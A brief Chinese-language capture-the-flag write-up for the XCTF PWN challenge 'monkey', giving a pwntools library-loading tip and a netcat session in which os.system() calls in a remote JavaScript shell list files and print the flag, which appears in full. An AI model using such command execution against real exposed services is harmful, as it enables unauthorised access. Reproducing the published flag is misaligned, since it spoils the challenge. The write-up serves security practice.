XCTF-PWN-monkey

知识笔记

• pwntools调用动态链接库：p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
• 由于js解释器，可以使用函数os.system()

解题步骤

ubuntu@LAPTOP-V4AB5SPG:/mnt/c/Users/19269$ nc 111.200.241.244 58615
js> os.system(ls)
os.system(ls)
js> os.system('ls')
os.system('ls')
bin
dev
flag
js
lib
lib32
lib64
libnspr4.so
libplc4.so
libplds4.so
run.sh
js> os.system('cat flag')
os.system('cat flag')
cyberpeace{4c208231f622007ccd25e1cc6baaaa65}